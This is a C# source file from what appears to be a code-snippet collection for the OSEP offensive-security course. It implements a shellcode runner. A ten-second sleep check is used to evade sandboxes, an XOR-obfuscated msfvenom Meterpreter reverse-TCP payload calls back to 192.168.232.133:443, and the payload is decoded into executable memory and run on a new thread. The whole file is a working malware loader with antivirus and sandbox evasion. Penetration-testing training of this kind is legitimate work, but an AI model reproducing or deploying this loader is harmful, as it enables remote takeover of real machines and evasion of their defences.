chvancooten-OSEP-Code-Snippets/Simple Shellcode Runner/Program.cs

using System.Runtime.InteropServices;
using System;

namespace rev
{
    public class Program
    {
        public const uint EXECUTEREADWRITE  = 0x40;
        public const uint COMMIT_RESERVE = 0x3000;

        [DllImport("kernel32.dll")]
        static extern void Sleep(uint dwMilliseconds);

        [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
        static extern IntPtr VirtualAlloc(IntPtr lpAddress, int dwSize, uint flAllocationType, uint flProtect);

        [DllImport("Kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
        private unsafe static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, uint lpThreadId);

        [DllImport("kernel32.dll", SetLastError = true)]
        public static extern Int32 WaitForSingleObject(IntPtr Handle, Int32 Wait);

        public static void Main()
        {

            DateTime t1 = DateTime.Now;
            Sleep(10000);
            double deltaT = DateTime.Now.Subtract(t1).TotalSeconds;
            if (deltaT < 9.5)
            {
                return;
            }

            // msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.232.133 LPORT=443 EXITFUNC=thread -f csharp
            // XORed with key 0xfa
            byte[] buf = new byte[511] {
            0x06, 0xb2, 0x79, 0x1e, 0x0a, 0x12, 0x36, 0xfa, 0xfa, 0xfa, 0xbb, 0xab, 0xbb, 0xaa, 0xa8,
            0xab, 0xac, 0xb2, 0xcb, 0x28, 0x9f, 0xb2, 0x71, 0xa8, 0x9a, 0xb2, 0x71, 0xa8, 0xe2, 0xb2,
            0x71, 0xa8, 0xda, 0xb7, 0xcb, 0x33, 0xb2, 0x71, 0x88, 0xaa, 0xb2, 0xf5, 0x4d, 0xb0, 0xb0,
            0xb2, 0xcb, 0x3a, 0x56, 0xc6, 0x9b, 0x86, 0xf8, 0xd6, 0xda, 0xbb, 0x3b, 0x33, 0xf7, 0xbb,
            0xfb, 0x3b, 0x18, 0x17, 0xa8, 0xbb, 0xab, 0xb2, 0x71, 0xa8, 0xda, 0x71, 0xb8, 0xc6, 0xb2,
            0xfb, 0x2a, 0x9c, 0x7b, 0x82, 0xe2, 0xf1, 0xf8, 0xf5, 0x7f, 0x88, 0xfa, 0xfa, 0xfa, 0x71,
            0x7a, 0x72, 0xfa, 0xfa, 0xfa, 0xb2, 0x7f, 0x3a, 0x8e, 0x9d, 0xb2, 0xfb, 0x2a, 0x71, 0xb2,
            0xe2, 0xaa, 0xbe, 0x71, 0xba, 0xda, 0xb3, 0xfb, 0x2a, 0x19, 0xac, 0xb7, 0xcb, 0x33, 0xb2,
            0x05, 0x33, 0xbb, 0x71, 0xce, 0x72, 0xb2, 0xfb, 0x2c, 0xb2, 0xcb, 0x3a, 0xbb, 0x3b, 0x33,
            0xf7, 0x56, 0xbb, 0xfb, 0x3b, 0xc2, 0x1a, 0x8f, 0x0b, 0xb6, 0xf9, 0xb6, 0xde, 0xf2, 0xbf,
            0xc3, 0x2b, 0x8f, 0x22, 0xa2, 0xbe, 0x71, 0xba, 0xde, 0xb3, 0xfb, 0x2a, 0x9c, 0xbb, 0x71,
            0xf6, 0xb2, 0xbe, 0x71, 0xba, 0xe6, 0xb3, 0xfb, 0x2a, 0xbb, 0x71, 0xfe, 0x72, 0xbb, 0xa2,
            0xbb, 0xa2, 0xa4, 0xa3, 0xb2, 0xfb, 0x2a, 0xa0, 0xbb, 0xa2, 0xbb, 0xa3, 0xbb, 0xa0, 0xb2,
            0x79, 0x16, 0xda, 0xbb, 0xa8, 0x05, 0x1a, 0xa2, 0xbb, 0xa3, 0xa0, 0xb2, 0x71, 0xe8, 0x13,
            0xb1, 0x05, 0x05, 0x05, 0xa7, 0xb3, 0x44, 0x8d, 0x89, 0xc8, 0xa5, 0xc9, 0xc8, 0xfa, 0xfa,
            0xbb, 0xac, 0xb3, 0x73, 0x1c, 0xb2, 0x7b, 0x16, 0x5a, 0xfb, 0xfa, 0xfa, 0xb3, 0x73, 0x1f,
            0xb3, 0x46, 0xf8, 0xfa, 0xfb, 0x41, 0x3a, 0x52, 0x12, 0x7f, 0xbb, 0xae, 0xb3, 0x73, 0x1e,
            0xb6, 0x73, 0x0b, 0xbb, 0x40, 0xb6, 0x8d, 0xdc, 0xfd, 0x05, 0x2f, 0xb6, 0x73, 0x10, 0x92,
            0xfb, 0xfb, 0xfa, 0xfa, 0xa3, 0xbb, 0x40, 0xd3, 0x7a, 0x91, 0xfa, 0x05, 0x2f, 0x90, 0xf0,
            0xbb, 0xa4, 0xaa, 0xaa, 0xb7, 0xcb, 0x33, 0xb7, 0xcb, 0x3a, 0xb2, 0x05, 0x3a, 0xb2, 0x73,
            0x38, 0xb2, 0x05, 0x3a, 0xb2, 0x73, 0x3b, 0xbb, 0x40, 0x10, 0xf5, 0x25, 0x1a, 0x05, 0x2f,
            0xb2, 0x73, 0x3d, 0x90, 0xea, 0xbb, 0xa2, 0xb6, 0x73, 0x18, 0xb2, 0x73, 0x03, 0xbb, 0x40,
            0x63, 0x5f, 0x8e, 0x9b, 0x05, 0x2f, 0x7f, 0x3a, 0x8e, 0xf0, 0xb3, 0x05, 0x34, 0x8f, 0x1f,
            0x12, 0x69, 0xfa, 0xfa, 0xfa, 0xb2, 0x79, 0x16, 0xea, 0xb2, 0x73, 0x18, 0xb7, 0xcb, 0x33,
            0x90, 0xfe, 0xbb, 0xa2, 0xb2, 0x73, 0x03, 0xbb, 0x40, 0xf8, 0x23, 0x32, 0xa5, 0x05, 0x2f,
            0x79, 0x02, 0xfa, 0x84, 0xaf, 0xb2, 0x79, 0x3e, 0xda, 0xa4, 0x73, 0x0c, 0x90, 0xba, 0xbb,
            0xa3, 0x92, 0xfa, 0xea, 0xfa, 0xfa, 0xbb, 0xa2, 0xb2, 0x73, 0x08, 0xb2, 0xcb, 0x33, 0xbb,
            0x40, 0xa2, 0x5e, 0xa9, 0x1f, 0x05, 0x2f, 0xb2, 0x73, 0x39, 0xb3, 0x73, 0x3d, 0xb7, 0xcb,
            0x33, 0xb3, 0x73, 0x0a, 0xb2, 0x73, 0x20, 0xb2, 0x73, 0x03, 0xbb, 0x40, 0xf8, 0x23, 0x32,
            0xa5, 0x05, 0x2f, 0x79, 0x02, 0xfa, 0x87, 0xd2, 0xa2, 0xbb, 0xad, 0xa3, 0x92, 0xfa, 0xba,
            0xfa, 0xfa, 0xbb, 0xa2, 0x90, 0xfa, 0xa0, 0xbb, 0x40, 0xf1, 0xd5, 0xf5, 0xca, 0x05, 0x2f,
            0xad, 0xa3, 0xbb, 0x40, 0x8f, 0x94, 0xb7, 0x9b, 0x05, 0x2f, 0xb3, 0x05, 0x34, 0x13, 0xc6,
            0x05, 0x05, 0x05, 0xb2, 0xfb, 0x39, 0xb2, 0xd3, 0x3c, 0xb2, 0x7f, 0x0c, 0x8f, 0x4e, 0xbb,
            0x05, 0x1d, 0xa2, 0x90, 0xfa, 0xa3, 0x41, 0x1a, 0xe7, 0xd0, 0xf0, 0xbb, 0x73, 0x20, 0x05,
            0x2f
            };
            int payloadSize = buf.Length;
            IntPtr payAddr = VirtualAlloc(IntPtr.Zero, payloadSize, COMMIT_RESERVE, EXECUTEREADWRITE);
            for (int i = 0; i < buf.Length; i++)
            {
                buf[i] = (byte)((uint)buf[i] ^ 0xfa);
            }
            Marshal.Copy(buf, 0, payAddr, payloadSize);
            IntPtr payThreadId = CreateThread(IntPtr.Zero, 0, payAddr, IntPtr.Zero, 0, 0);
            int waitResult = WaitForSingleObject(payThreadId, -1);
        }
    }
}